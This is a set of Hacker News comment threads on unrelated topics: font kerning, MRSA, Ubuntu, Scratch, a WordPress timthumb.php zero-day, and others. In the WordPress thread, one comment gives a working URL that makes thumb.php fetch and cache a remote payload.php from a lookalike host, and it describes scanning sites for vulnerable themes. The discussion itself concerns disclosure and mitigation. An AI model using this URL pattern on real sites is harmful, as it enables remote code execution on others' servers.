Hellvetica.ttf – Kern in Hell - <AUTHOR> https://hellveticafont.com/ <comment><USER2> Very similar to smelvetica ([https://github.com/tholman/smelvetica](https://github.com/tholman/smelvetica)) which did get takedown notices from Monotype.

<comment><USER3> Ew.

I don't blame tholman for complying with the takedown, but my layman's understanding is that Monotype had no legal grounds for their complaint because parody is protected -- they were just using legal language to intimidate him into complying. Does that jibe with others' understanding of the law?

<comment><USER4> You are correct, and I reached out to the author about fighting their bogus claims. He wasn't interested, but this was a while ago. Perhaps if this new parody font fights them, he'd be willing to do the same for smelvetica

</comment></comment></comment><comment><USER5> I never thought I'd get to see if a font could be fair use due to the parody exemption - but I'd suspect there would be a good chance that this is the case.

<comment><USER6> In the US, typefaces themselves are not subject to copyright law (though that doesn't mean 'font piracy' is legal - the 'computer code' backing a font is still copyrightable - but you could presumably extract the outlines and replicate a font exactly without running afoul of U.S. copyright law.) (disclaimer: IANAL)

<comment><USER7> A rasterized (imaged) font is not copyright-able. However the vector control points are considered a creative work and therefore subject to copyright. This was established in Adobe v. Southern Software:

[https://en.wikipedia.org/wiki/Adobe_Systems,_Inc._v._Souther...](https://en.wikipedia.org/wiki/Adobe_Systems,_Inc._v._Southern_Software,_Inc).

So even stripping out the hinting and OTF shaping "computer code" would still presumably leave you in violation of a font copyright.

<comment><USER8> What a bizarre ruling -- like saying that a parabola is not copyrightable, but three points defining a parabola are (because one could express the same parabola using many combinations of three points).

Surely, then, one could write a program to generate a copyright-free copy of a font by selecting different control points that yield the same curves. Or would the computer be the copyright-holder, as it selected those points?

<comment><USER9> > Surely, then, one could write a program to generate a copyright-free copy of > a font by selecting different control points that yield the same curves. Or > would the computer be the copyright-holder, as it selected those points?

The new three points would be derived from the old ones; hence it's still a derived work, and still falls under the old copyright. Your bits have the wrong color.[1]

1: [https://ansuz.sooke.bc.ca/entry/23](https://ansuz.sooke.bc.ca/entry/23)

<comment><USER10> Only if it's directly derived from the TTF file itself.

But if you rasterized the font (and as a specific representation of the front, it no longer has a copyright), and then had a computer generate curves from that, you'd be fine.

But from my understanding the hard part is creating the file that does a good job at every different font size. Creating a font for just 1 size is relatively easy.

So your computer would be doing the easy part, not the valuable part.

<comment><USER11> I have a hard time imagining a judge taking a sympathetic ear to this defense. Do you happen to know if there's relevant existing case law on this subject that you could point me to?

<comment><USER10> I don't have case law, but there are tons of fonts that explicitly say they are based on a copyrighted one:

* libre baskerville * Liberation Mono is a sans-serif font metrically equivalent to Courier New * Liberation Serif is metrically equivalent to Times New Roman.

See: [https://en.wikipedia.org/wiki/Liberation_fonts](https://en.wikipedia.org/wiki/Liberation_fonts)

Arial is based on Helvetica and we created specifically because of copyright on Helvetica.

<comment><USER12> "Metrically equivalent" just means they take up the same amount of space when typeset (i.e. if you take a document in Times New Roman and change the font to Liberation Serif, nothing should move around). As you can see in the case of Courier New v. Liberation Mono, the two fonts can be very different visually while still being metrically equivalent.

</comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER13> I'm a bit disappointed that it doesn't include an "rn" = "m" kerning mistake... my favorite and one that is already kind of an issue in Helvetica (and also can happen in the word "kern" itself, ie "kern" = "kem")

<comment><USER14> "keming" is the only one-word joke I know of.

Wondering if anyone is aware of any others.

<comment><USER15> The kerning subreddit is r/keming and it gives me a chuckle each time.

</comment></comment></comment><comment><USER16> If anyone is interested in automating it, I wrote up quick howto in Python a few days ago. [https://readevalprint.com/Schmelvetica.html](https://readevalprint.com/Schmelvetica.html)

<comment><USER17> Why fonts extension is .TTC?

        ORIGINAL_FONT_PATH = "path/to/Helvetica.ttc"
        GLORIOUS_FONT_PATH = "path/to/Schmelvetica.ttc"

<comment><USER18> A TTC is a TrueType Collection. Multiple fonts in one file. Instead of having separate files for every size, weight, etc. they're combined into one. The major advantage is the ability to share glyphs between fonts instead of duplicating information in each file.

</comment></comment></comment><comment><USER19> This is awesome.

I'm just sad that this doesn't kern r and n towards each other, to produce the classic misread "keming".

</comment><comment><USER20> Title should read .ttf, right?

Or am I being Mandela'd.

<comment><USER21> Yeah it's a typo. If you click through to the website, the titlebar says Hellvetica.ttf.

</comment></comment><comment><USER22> I don't see anything odd there. I am using Linux.

</comment><comment><USER23> I one time saw a sign with intentionally bad kerning in the design department at work that said something like, "This sign makes designers very angry."

I was admiring the joke, when the the VP of design saw me smiling at it, and said, "Thank you! You have no idea how many people look at that sign and just don't get it."

<comment><USER24> Lol. Did he offer you a job at that point? Sounds kind of like a puzzle to find designers for hire.

<comment><USER25> It turns out that jonathankoren is the CEO, and. now. you. know. . . . the rest of the story

</comment></comment></comment><comment><USER26> It kinda reminds me of the Bayeux Tapestry, where the letters have to be spaced around people's heads.

</comment><comment><USER27> Reminds me of a book I've once had "End of Print".

</comment><comment><USER28> That how my linux terminals, ex. st or alacritty look when I type the wrong string when specifying a font in the configs ;)

</comment><comment><USER29> Thanks I hate it.

</comment><comment><USER30> This also need to have somehow broken hinting instructions so it would render blurry with rainbow edges on a screen.

</comment><comment><USER31> I don't understand this. Can someone explain the typing joke to me?

<comment><USER32> Kerning is the amount of spacing between letters. Type with poorly applied kerning is a long standing joke as a way to annoy a designer. Font files can have the amount of kerning between letter pairs built in. This font is Helvetica with very poor kerning built in. It's "hell" for people who care about kerning.

<comment><USER31> Thanks.

</comment></comment></comment><comment><USER33> I've never had a font make me laugh so hard.

</comment><comment><USER34> I'd just as soon can my own shit.</comment>


Norway leads the world in antibiotic resistance, has lowest rate of MSRA - <AUTHOR> http://news.yahoo.com/s/ap/20091231/ap_on_he_me/when_drugs_stop_working_norway_s_answer

<comment><USER2> On a personal note MRSA is a tough little bug. I got it in the hospital after I broke my ankle and had to get a bunch of screws and a plate installed. They ended up removing all of the hardware and keeping me in the hospital for ~ _90 days_ on IV Vancomycin. If you develop a resistance to Vancomycin (VRSA - [http://en.wikipedia.org/wiki/Vancomycin- resistant_Staphyloco...](http://en.wikipedia.org/wiki/Vancomycin- resistant_Staphylococcus_aureus)) you are pretty much done for.

It is actually pretty frighting; there is one one drug that can fight a serious MRSA infection (Vancomycin). Once we become resistant to that we have to start taking drugs like Linezolid which can kill you faster than the infection. <http://en.wikipedia.org/wiki/Linezolid>

If you are headed into the hospital for surgery make sure you talk to all of the doctors about their infection control procedures. Make sure every nurse/orderly/housekeeper and visitor washes their hands before they come into you room.

Sorry about the off topicish comment.

<comment><USER3> Wasn't there an interesting article about the use of checklists is hospitals? I remember that they helped the staff to follow all the procedures and shrank infection rates by something like two thirds or so.

Edit: <http://www.nytimes.com/2007/12/30/opinion/30gawande.html> has something about it. But it wasn't the article I sought for.

<comment><USER4> Perhaps one of these:

[http://www.newyorker.com/reporting/2007/12/10/071210fa_fact_...](http://www.newyorker.com/reporting/2007/12/10/071210fa_fact_gawande)

<http://www.nytimes.com/2008/01/22/health/22brod.html>

<http://www.nytimes.com/2004/12/25/health/25medicine.html>

EDITED to add: HN discussion of the first of those at <http://news.ycombinator.com/item?id=87167> .

EDITED again to add: <http://www.healthreform.gov/reports/success/michigan.html> has the 2/3 figure in it and has been mentioned in at least one comment on HN.

<comment><USER3> Thanks!

</comment></comment></comment></comment><comment><USER5> The problem is that we are looking at a tragedy-of-the-commons problem, a classic prisoner's dilemma: if y'all cut back on your Z-packs, then _I_ can use it safely without really breeding any superbugs. And the US, with its deep-seated commitment to liberty, is notoriously bad at resolving that sort of thing cleanly.

</comment><comment><USER6> 1\. In the headline: MRSA, Methicillin-resistant _Staphylococcus aureus_. MSRA, Minnesota Street Rod Association.

2\. The article claims that _people_ develop resistance to antibiotics, which is almost wrong enough to set off the Quack Filter.

</comment><comment><USER7> I heard about this over 15 years ago on the radio program Living on Earth (<http://www.loe.org/>) while I was in college. It is very true, even if the story is slightly inaccurate. We really need to stop prescribing and taking antibiotics for things that are clearly viral infections.

At the time I heard the story, I went to the student health center (at ISU) and asked one of the doctors about prescribing antibiotics (amoxicillin was the drug of choice at the time) when students clearly have a viral infection, and that antibiotics are not going to do anything. He completely agreed, but he said, "If we don't prescribe something, we'll have angry parents calling to complain."

<comment><USER3> > "If we don't prescribe something, we'll have angry parents calling to > complain."

That's what's so good about homeopathy --- a generally accepted placebo.

</comment></comment><comment><USER8> The original headline was weak, so I see why you tried to improve it, but the submitted headline now gives the impression Norway has the most ("leads the world in") antibiotic resistance, when in fact the point of the story is the exact opposite. (Perhaps "Norway _best fights_..."?)

<comment><AUTHOR> Quite so :-/ Unfortunately it's too late to edit, but thanks for adding that clarification.

<comment><USER9> As a medical person, your headline conveyed the right meaning to me.

</comment></comment></comment><comment><USER10> "Norwegians are sanguine about their coughs and colds, toughing it out through low-grade infections."

I think this is one of the key elements. Are people in other countries willing to do this?

</comment><comment><USER11> Tracy Kidder (Soul Of A New Machine) wrote a fantastic book about some of the epidemiologists who have been working for the past few decades on the problem, but from the POV of a sociologist. The book is "Mountains Beyond Mountains", and mainly focuses on Paul Farmer from Partners In Health.</comment>


A Theory of Hygienic Macros (2008) [pdf] - <AUTHOR> http://www.ccs.neu.edu/home/dherman/research/papers/esop08-hygiene.pdf

<comment><USER2> This was expanded into his dissertation a few years later:

[http://www.ccs.neu.edu/home/dherman/research/papers/disserta...](http://www.ccs.neu.edu/home/dherman/research/papers/dissertation.pdf)</comment>


Ubuntu 10.04: The Perfect Consumer Operating System - <AUTHOR> http://www.linux-mag.com/id/7740 <comment><USER2> Our office switched to Ubuntu 2 years ago, and every 6 months we wonder "how can they possibly make this better" only to be totally wowed that they've done something wonder each release.

This one looks really well integrated, and competes with Mac for style, and luxory (you know, like integrated music store, your own private cloud,etc.)

<comment><USER3> Good for you! Sounds like a cool company to work at.

(lol. I'm an Ubuntu fanboy, sad to say.)

</comment></comment><comment><USER4> The answer to this question seems to invariably be "no, but it's a great OS for geeks." I think it's time to stop worrying about it and just keep on making it better.

<comment><USER5> Agreed, though consumers aren't really going to switch unless the geeks in their lives tell them to (much the way FF was mainstreamed). Not saying they should or shouldn't switch, but without a bit of tech evangelism ain't gon happen.

</comment></comment><comment><USER6> I really want to like Ubuntu, but then I start it up and see horrible fonts, icons that look out of place with this new theme, and UI strangeness that doesn't seem to be justified.

Why doesn't the close button sit on a corner? Why is the program launcher on a different bar than the already running programs? If I want to bring up a program like Firefox, I don't really care if it running or not I want to go to the same area to bring it up.

I know I can change all of this things, but I have better ways to spend my time. Older users even if they wanted to aren't going to be able to change these things.

</comment><comment><USER7> I was running 10.4 alpha 3 and then the beta in order to get better support for the hardware on a new laptop. I agree with the author of this article that 10.4 just feels well put together visually. BTW, I have had zero problems with the beta and now just use it rather than 9.10.</comment>


Show HN: Quixotry - my multiplayer word game - <AUTHOR> http://playquixotry.com/

<comment><USER2> Would it be difficult to make the game keyboard responsive? Cool stuff other than that.

<comment><AUTHOR> It's on the to-do list, thanks for playing!

</comment></comment><comment><AUTHOR> It uses node.js and socket.io in the back end, html/js/css front end. It works pretty well on ipad, and ok on iphone/android (wifi).

Everyone plays in the same 'room' - simply send your friends the url to play against them.</comment>


Scratch is probably the answer - <AUTHOR> http://reddragdiva.tumblr.com/post/127964136013/it-turns-out-scratch-is-probably-the-answer <comment><USER2> I've only used Scratch a little, but I must admit I found the interface fairly complex and arbitrary, somewhat reminiscent of the complexity and arbitrariness of normal programming syntaxes. As simple a thing as putting one new instruction in between two existing instructions can be a multi-stepped process, creating temporary intermediate structures that work better. But admittedly I didn't power through (or rather, power through with the kid) to the other side, so it might have ultimately been simpler than textual syntax, even if it's not actually easy.

Hopscotch, an iOS app basically like Scratch ([https://www.gethopscotch.com/](https://www.gethopscotch.com/)), seemed significantly better in this respect. The quality of your draggable UI matters quite a bit in a graphical language! Given how few of these languages exist, maybe it's not the model but just a lack of rigor applied to the UI challenges of the model.

<comment><USER3> Another datapoint: I downloaded scratch junior for the ipad and felt that it was overtly complex and left it at that. The next day my 5 year old discovers the app and before I knew it had figured out animations and scene transitions. He had previously used another app (Toontastic) and I think that helped with figuring out scratch. Its one of his favorite apps now and he can't wait to show me his latest projects!

</comment></comment><comment><USER4> Having taught 8th graders programming in Scratch and now building an introductory curriculum for high school freshmen with it, I can say that Scratch does an incredible job of honing in on the major algorithmic and data- based abstractions without having to worry about students comfort level with typing or even how much exposure they've had to computing at all. It also makes these concepts very visual, which serves as great reference once you start working with text based code. I'm a huge, huge fan.

<comment><AUTHOR> (original poster here)

I need to research my daughter's curriculum in detail, and see when they get to e.g. variables and loops.

</comment></comment><comment><USER5> I tried to introduce Scratch for 10-11 year old kids in my country about 2 years ago. I was willing to teach 6 hours a week for free to do so. But the bureaucracy got the better of me. I'm happy to see that this is working somewhere.

<comment><AUTHOR> Hopefully the UK will serve as an example. I think Microsoft and Google explicitly backing the project helped a lot.

</comment></comment><comment><USER6> The "try it now" button returns "Oh Noes! Scratch project cannot display." (because Flash), and the "Offline Editor" (in small print at the bottom of the page) appears to be based on Adobe Air.

When was Scratch changed to require Adobe products? I do not recall this being a thing in the past when Scratch was "just" a Smalltalk image.

<comment><AUTHOR> They're in a maintenance window. The website uses Flash, the download uses Adobe Air.

</comment></comment><comment><USER7> How about Alice? [http://www.alice.org](http://www.alice.org)

Similar idea and tool-set but it's 3 dimensional scenes and worlds.

<comment><USER8> Years ago when I was younger, I tried to make an FPS in Alice, and didn't manage it. It's not quite as easy to work with as Scratch (with which I cloned Space Invaders and Pong).

I'm also not sure about Alice's love affair with Java. You can make it display the drag-and-drop code blocks in a pseudo-Java style, or make it display actual (uneditable) Java code in a separate pane. But is this actually helpful? Is it really a good idea to try to move from Alice to a "real" language?

</comment></comment><comment><USER9> I also have an 8 year-old daughter who not only spends endless hours at scratch.mit.edu coding apps, she also gets here friends (here in Canada) to do the same.

And if you have a look at the site you will see that not only are they learning coding and development skills, but they are also learning the ins and outs of social media.

<comment><USER10> _And if you have a look at the site you will see that not only are they learning coding and development skills, but they are also learning the ins and outs of social media._

Why did you have to ruin this for me? I know you didn't mean to, but still.

<comment><USER11> Scratch's community is very different from other kinds of social media: it's strictly regulated by the MIT folks, so content is always friendly, welcoming, and age-appropriate. As a result of this, people tend to be encouraged to work together: you would be surprised what 10-year-old kids have produced together. A large part of Scratch culture is "collaborations" and "companies" which can produce large pieces of software with really incredible co-operation--better than a lot of adults I deal with :-)

I guess Scratch as a social network tries very hard to de-emphasize numbers: there isn't a "karma" and "likes" don't bring you much (interestingly, the number of "remixes", or derivative works of your project, is emphasized much more).

I can point you to some of the LLK's published papers on this if you're interested.

(Source: Scratch community member for >5 years.)

<comment><USER10> _I guess Scratch as a social network tries very hard to de-emphasize numbers: there isn 't a "karma" and "likes" don't bring you much (interestingly, the number of "remixes", or derivative works of your project, is emphasized much more)._

That doesn't really sound like "social media".

 _I can point you to some of the LLK 's published papers on this if you're interested._

I'd appreciate that.

<comment><USER11> > That doesn't really sound like "social media".

It's "social" in the sense that it's a large community where people share things they create, make friends and have discussions. What would you say "social media" needs beyond that?

> I'd appreciate that.

Here are a few:

[https://download.scratch.mit.edu/hill_monroy- hernandez_olson...](https://download.scratch.mit.edu/hill_monroy- hernandez_olson_ICWSM10.pdf)

[https://download.scratch.mit.edu/cscw2010poster2.pdf](https://download.scratch.mit.edu/cscw2010poster2.pdf)

[https://download.scratch.mit.edu/websci09-andresmh.pdf](https://download.scratch.mit.edu/websci09-andresmh.pdf)

</comment></comment></comment></comment></comment><comment><USER12> Right now I am passing through the Oracle Academy programs. The designed curriculum are using Alice and Greenfoot for developing familiarities with programming world. Me myself think that it is a great way for introducing programming in a "fun" way. Maybe anyone else have thoughts on this.

</comment><comment><USER13> Honestly it looks idiotic. No wonder the current generation can't even use Google properly.

I've learned programming just fine with an old Basic book. We should stop treating our children like clueless morons.

<comment><AUTHOR> This is literally for small children, to attract them with bright colours and dancing ballerinas and so on. The most important thing at this point being to _catch their interest_ in becoming a wizard like us.

And as I note, it actually seems to work, which is you'll admit a bit of a plus point.

Per the article, Key Stage 3 (11yo and up) teaches them at least one "textual language" [https://www.gov.uk/government/publications/national- curricul...](https://www.gov.uk/government/publications/national-curriculum- in-england-computing-programmes-of-study/national-curriculum-in-england- computing-programmes-of-study#key-stage-3) It doesn't clarify what that is, but I strongly suspect it would be Python.

</comment></comment><comment><USER14> I believe Scratch has been part of the national primary education curriculum in China for a few years now. The coming generation is going to completely leapfrog their western counterpart.

<comment><AUTHOR> If you have any details on this I would be _most_ interested! dgerard at gmail

</comment></comment><comment><USER15> I'm very interested in teaching my kids to program, and so this is probably of interest to me, but I stopped reading after the first sentence because I would rather not need to slog through assertions of political identity to get to them.

<comment><AUTHOR> NON-POLITICS: what I'm used to

POLITICS: anything I'm not used to

I mean, you just said "I literally didn't read this past the first sentence but I commented anyway." That's not helpful posting per the rules.</comment></comment>


Zero Day Vulnerability in many Wordpress Themes - <AUTHOR> http://markmaunder.com/2011/zero-day-vulnerability-in-many-wordpress-themes/ <comment><USER2> A mitigation for this sort of thing: your Wordpress installations can be owned by someone other than the webserver, with 644/655 permissions. This will prevent folks from uploading arbitrary code (through any of the NUMEROUS plugins/themes with a vulnerability that allows them to do that), and also prevents folks from appending malicious code to known files.

<comment><AUTHOR> Problem is that then you can't auto install themes, auto update wordpress - and the script causing this vulnerability requires a writable cache directory under the wordpress root.

<comment><USER2> Yes, turning off the ability to execute arbitrary code on your server through your web browser will, indeed, turn off the ability to execute arbitrary code on your server through your web browser. I think that is a misfeature: if executing arbitrary code on your server could potentially do damage to your business (hint: yes), you should be SSHing into a terminal to do it. That combo will be 500,000x more effective at securing your box than the best efforts of Wordpress, PHP, and the fifteen year-old designer who coded your lightbox plugin after Googling "How to find file name in PHP".

See also my comments last week about the (lack of) wisdom in embedding a ruby shell in a web application.

<comment><USER3> Turning off the ability to execute arbirary code on your server through your webserver will also stop WordPress from being able to get security updates out to the millions of sites using it.

While I much prefer going through SHH to manage my sites, there are likely 10x as many WP sites run by people who can only FTP. There isn't really an ideal solution in this situation (apart from education) so I think allowing easy updates by having weaker security may be best. Maybe there is a better solution that still works for FTP. If so, file a ticket.

The WordPress Codex is a wiki and it looks like the docs on security could do with some improvements - sign up and help out.

<comment><USER4> You're confusing the issue. This isn't about SSH versus FTP: it's about whether or not the Apache user running your website can also write to the filesystem inside of your document root. The Wordpress update feature is actually able to use FTP as the means of updating the site.

<comment><USER3> That's true; I was oversimplifying the issue. Most shared hosting web hosts run PHP files with the same user that you FTP with. If WP can't update itself in these cases then the user cannot write files via FTP. If a user connects via SSH then chances are they are comfortable changing directory permissions to do an update.

</comment></comment></comment></comment></comment></comment><comment><USER5> My WP theme is from WooThemes and it includes "thumb.php" which upon inspection is timthumb.php. The blog post says to patch this you should remove the list from the allowedSites variable which I have done... I'll look at this more tomorrow but just FYI!

<comment><USER6> Errm, you should probably do that today - and check for the presence of base64 encoded images - now that you told the world about it ;)

<comment><USER5> Did that too.

</comment></comment></comment><comment><USER7> Great writeup. It's clear, it's concise and it's not overly dramatic. Thanks for taking the time to write this up and share it.

I have invested a bit of time installing and tuning mod_security. I'd love to know how it'd have faired against this attack, probably it wouldn't have stopped the upload, but it might have stopped a lot of payload/control commands from working.

<comment><USER8> While it's concise and not overly dramatic, lots of people run Wordpress on shared hosting. That generally means they don't have SSH access and the instructions are harder to follow... It needs a "for beginners" section on how to check and accomplish the steps.

<comment><USER7> Valid point.

</comment></comment></comment><comment><USER9> I did a series on talks on Wordpress security earlier this year at OWASP London and AppSec EU. Sadly the AppSec slides were lost but the OWASP slides are still there for anyone interested:

<https://www.owasp.org/images/d/db/Wordpress-security-ext.pdf>

<comment><USER10> Thanks really interesting read!

</comment></comment><comment><USER11> The worst part of reading this post is encountering this search result - <http://www.google.com/search?q=Alucar+shell>

</comment><comment><USER12> As someone relatively new to Wordpress, I use a hosted instance from Wordpress.com. How do they handle things like this, and security in general?

<comment><USER13> This is a vulnerability in a third party script often used in Wordpress themes. It's not related to Wordpress.com.

<comment><USER12> Ok, but I am able to select themes in my site on wordpress.com. Maybe it's a stupid question, but I'd rather ask it than wonder.

<comment><USER13> This concerns user/third party authored WordPress themes for the WordPress.org software. WordPress.com is hosted and administrated by Automattic, and they handle security like any other application provider. It's not likely that Wordpress.com is using this resizing script and if they were, you as a user would not have to take any action to fix it (and couldn't do so, anyway)

</comment></comment></comment></comment><comment><USER14> > 1\. SSH into your web server.

That's not an option on a surprising number of web hosts offering PHP hosting. You'd have to find the file using FTP instead.

</comment><comment><USER15> Also note that it doesn't even have to be an active theme - since timthumb.php executes directly and not through wordpress.

</comment><comment><USER16> I used to see so many security problems with xmlrpc.php, and never used the functionality, so I put in a cron job entry that did this for all blogs I had hosted:

        mv PATH/xmlrpc.php PATH/xmlrpc.php.nope
        chmod 000 PATH/xmlrpc.php.nope

something like once an hour in case I upgraded and forgot to secure the site.

</comment><comment><USER17> FWIW: We had an older version of timthumb which uses preg_match instead of strpos, but suffers from the same flaw. The relevant line looks like this:

        if (preg_match($site, $url_info['host']) == true) {

Good catch, Mark.

<comment><USER18> I have a version that does this:

       function clean_source ( $src ) {

        // remove http/ https/ ftp
        $src = preg_replace("/^((ht|f)tp(s|):\/\/)/i", "", $src);
        // remove domain name from the source url
        $host = $_SERVER["HTTP_HOST"];
        $src = str_replace($host, "", $src);
        $host = str_replace("www.", "", $host);
        $src = str_replace($host, "", $src);

This version doesn't allow external sources at all by the look of it.

</comment></comment><comment><USER19> Very good find! Thank you for sharing.

I bought my theme from Theme Forest and it has this vulnerability. If you have a theme that you've purchased and contains this file, it would be helpful to post this on the theme's support forum.

</comment><comment><USER20> This affects not just themes, but plugins too. Its in the vslider plugin I've used in multiple installs.

</comment><comment><USER18> I wonder if it would be better if he disclosed this to the theme vendors.

<comment><USER13> Exactly what I thought upon reading "The current version of timthumb has this issue. Since it's already in the wild and I just got hacked by it, I figure it's ok to release the vulnerability to the general public."

<comment><USER21> There's no other way to inform most people about the problem. There's several thousand free WordPress themes in the wild, and obtaining them does not involve getting on the developers' mailing lists or otherwise being contact- able. Even if it was possible to notify every theme developer that may be including timthumb in their theme, those developers would have no way to notify the end users.

</comment></comment></comment><comment><USER22> Thanks for posting this!

</comment><comment><USER23> Shameless self promotion of image resizer code... <http://www.nkdv.co/code/do/resize>

php resize crop and cache source.

</comment><comment><USER24> But to use this vulnerability at first cracker have to have registered user? Or there are other way to upload images?

<comment><USER2> No, you can execute the script directly if you know or can guess the location of it, straight through your web browser.

Accessing

      http://www.example.com/wordpress/wp-content/ themes/vulnerable-theme/thumb.php?src=flickr.com.example.org/payload.php

is sufficient to cause it to download payload.php and cache it. Afterwards, you can access the PHP file in the same manner to execute it.

One could trivially make a list of signatures for vulnerable themes (for example, all the ones I paid for from a certain prominent Wordpress themes company), and then exploit any website whose main page matched a signature. Alternatively, you could just speculatively hit a few hundred URLs on every domain you found.

<comment><USER18> Is there any reason why a check on the extension wouldn't solve the problem?

       $fileDetails = pathinfo($src);
       $ext = strtolower($fileDetails['extension']);

<comment><USER25> On some badly configured Nginx servers the filename extension isn't parsed correctly. A php.jpg file will be executed as php because a badly written regex will match the .php.

Even if you don't have such vulnerabilities you probably don't want people to be able to upload images to your server. They could easily send you over quota on shared hosting and use your bandwidth for serving their own images (including child porn).

<comment><USER18> Yup. That would be my worst fears.

</comment></comment></comment></comment></comment><comment><USER26> FWIW, I had two separate running instances of timthumb.php, but neither contained the $allowedSites array.

<comment><USER21> I had a few copies from old WooThemes themes as well, and the copy of thumb.php included didn't have such an external sites list/feature either.

<comment><USER27> Same here

</comment></comment></comment><comment><USER28> v1.34 fixes this, right? The author committed it this morning.

<http://code.google.com/p/timthumb/source/list>

</comment><comment><USER29> Could Wordpress issue an update to patch this?

<comment><USER2> Wordpress gets no opportunity to execute a single line of code at any point in this process. TimThumb can be executed without needing to go through Wordpress at any point. The only relevance of Wordpress to this is that many Wordpress themes happen to ship with TimThumb. If you have a Wordpress theme installed on your server (note: activation not required!) which ships with it, you are vulnerable.

Wordpress could theoretically intercept calls to PHP files below its own root, but that would be a breaking change for a LOT of code and sites.</comment></comment>


Pluto: programmable watch from Casio F-91W - <AUTHOR> https://github.com/carrotIndustries/pluto/blob/master/README.md <comment><USER2> Wow, love this - this is exactly what I come to hn for, brilliant stuff</comment>


A Brief Survey of Deep Reinforcement Learning - <AUTHOR> https://arxiv.org/abs/1708.05866 <comment><USER2> Another recent review paper: Deep Reinforcement Learning: An Overview, [https://arxiv.org/abs/1701.07274](https://arxiv.org/abs/1701.07274)

<comment><USER3> This was a horribly written paper. It includes all the popular buzzwords but the authors ability to convey the meaning of these concepts was utterly lacking. Don't expect to learn anything at all from this one. OP's article is far better than this.

<comment><USER4> I am the author of Deep Reinforcement Learning: An Overview. I fully understand my overview is far from perfect, and I warmly welcome (constructive and responsible) comments and criticisms.

My overview was published on arXiv on Jan 25, 2017, with major updates on July 15, 2017, much earlier than the brief survey of DRL, submitted to arXiv on Aug 19 2017 (manuscript to the special issue due on March 1, 2017).

The brief survey did not cite my overview. There were some discussions about it on Twitter a couple days ago when the brief survey appeared online. I thought it was friendly handled. I realized that it was not, when I saw this comment.

As a result, 1) I registered an account on YCombinator, with my real name, and reply now; 2) in the meanwhile, I sent a formal request to the authors and the editors of the brief survey to cite my overview, and make comments on it, positively or negatively.</comment></comment></comment>


Chromium OS prerequisites: "You need to have Linux." - <AUTHOR> http://www.chromium.org/chromium-os/building-chromium-os You guys are joking, right? <comment><USER2> I think I'll wait until a VirtualBox pre-built image is available. I did recently go to the trouble of building the open source edition of the IntelliJ IDEA IDE, but since I have no interest in hacking on Chromium OS, this looks like a major time sink.</comment>


HackerFollow: Follow HN Users - <AUTHOR> http://hackerfollow.com/

<comment><USER2> Just so you know, clicking on Signout gives me this:

Message: MySQL Query fail: SELECT * FROM follow WHERE user_id = MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1 Date: Wednesday, October 6, 2010 at 8:53:41 AM Script: /index.php Referer: <http://hackerfollow.com/>

Great idea, though!

<comment><USER3> More context would be great (browser, page you were on, page you were redirected to). I think I uncovered the problem so you'll need to clear your cookies. Let me know, thanks!

<comment><USER4> Database Error Message: MySQL Query fail: SELECT * FROM follow WHERE user_id = MySQL Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1 Date: Wednesday, October 6, 2010 at 4:02:06 PM Script: / Referer: <http://hackerfollow.com/>

Clicked from the news item here, entered a pass phrase (it's a secret, I'm not telling you!) and clicked the sign in button.

Screen cap: <http://i.imgur.com/rBx5l.png>

</comment></comment></comment><comment><USER5> I love the idea. The "secret phrase" method of creating an identity seems downright awful.

<comment><USER3> We're not creating another identity for you. There aren't any profiles, it's simply a utility. I agree the messaging could be cleaner and I'll rework some of it when I have time later today, but we dont really need your email or a password for anything so there's little reason to require it other than being the norm.

<comment><USER6> I appreciate you trying to make it easier for users to remember their login/identity/site key/access code/whatever, but this may actually be making it harder.

Since we have all had years to figure out how to manage logins across many different sites that do not coordinate, we've all solved this problem in one way or another, but the solutions are based on finding efficient ways to manage userid's and passwords.

Mine for example is that I use a set of three userid/pwd pairs. Pair 1 is simple userid/simple pwd, for throwaway accounts I don't care about. Pair 2 is moderately complex userid/pwd for sites I use frequently but could afford to lose/be hacked/whatever. And Pair 3 is highly complex userid/pwd for online banking and other secure things that need the highest penetration barrier.

Since I can easily keep three in memory and apply each one based on how I categorize the website in question, I never forget my logins to any websites, no matter how frequent or infrequent I use them. Nor do I ever have to write down or otherwise record my login info, anywhere, since it's easy to remember just three. Further, if one my lower level userid/pwd pairs is cracked, it doesn't compromise the critical one.

For your site I would have simply use Pair 1 or 2, problem solved. However, your pass phrase method presents a problem - I can use one of my passwords in plain text, which I'm obviously not going to do, or I can think up some pass phrase that is unique to your site, not part of my system, and hence easily forgettable.

I have no idea what other systems people use to manage their logins across the tons of websites in use these days, but I'd suggest relying on your users (especially since they're 100% savy HN users) to have already solved this login problem. Leverage their solutions by using the norm. Or use OpenID, which is another solution to this problem.

<comment><USER7> For me (since there is no content generation) I just used my username. I agree with the creator that this method is worth trying since there really is no reason to need the security of a password. This solution eases the effort spent coding and the effort spent signing up at virtually no cost. Sure it's not perfect but for a site like this I think it was certainly worth trying.

</comment></comment></comment></comment><comment><USER8> Nice idea, and I can see myself using it but...

The "come up with a secret phrase" thing is a nice idea, but I must've sat for 10 seconds trying to work out what was actually being asked for, and then I had no idea what phrase I could use that I wouldn't forget, but that nobody else would have chosen.

<comment><USER9> I actually entered patio11 there thinking it is asking me to enter the name of user to follow.

<comment><USER10> I did that with another user, and it turns out he used his username as his secret phrase! (name withheld to protect the guilty). At least now I know who he's interested in!

</comment></comment></comment><comment><USER11> So what happens when I pick a secret phrase that someone else already uses? I can technically sign in as the person who originally created it now.

Yes, if you do it right the chances are slim. And perhaps it doesn't matter because there isn't any sensitive data.

<comment><USER12> Can't you say the same about the regular username + password implementation?

Or are there smaller chances of that happening if you separate the login data into two different parts, like username and password?

Is it just a psychological difference, or is there something more there?

<comment><USER13> The logistics of it are different. With username + password, 2 people can have the same password. So you only need to warn someone if the username has already been taken. But in order to warn someone that a secret phrase has already been taken, you've just given them all the info they need to login as that other person.

That being said, if you were to enforce that the first _half_ (or some undisclosed portion) of the secret phrase couldn't be taken, then you'd be closer to comparing apples to apples.

</comment></comment></comment><comment><USER14> If you are interested, I'm charting the load (non-cached requests to HN) on the iHakcerNews API which hackerfollow is partly using.

<http://api.ihackernews.com/load>

<comment><USER15> "Retrieve Comment Threads for a user" if you offered this as an rss feed, there'd be users.

<comment><USER14> I can do that. I'll add it to my todo.

</comment></comment></comment><comment><USER16> At least show what story the comments are on. I came up with a nice way to show the context around a comment without needing the entire tree: <http://hystry.com/newsyc/follow/about> (Slide 4)

Make it easy to add users from the stream page.

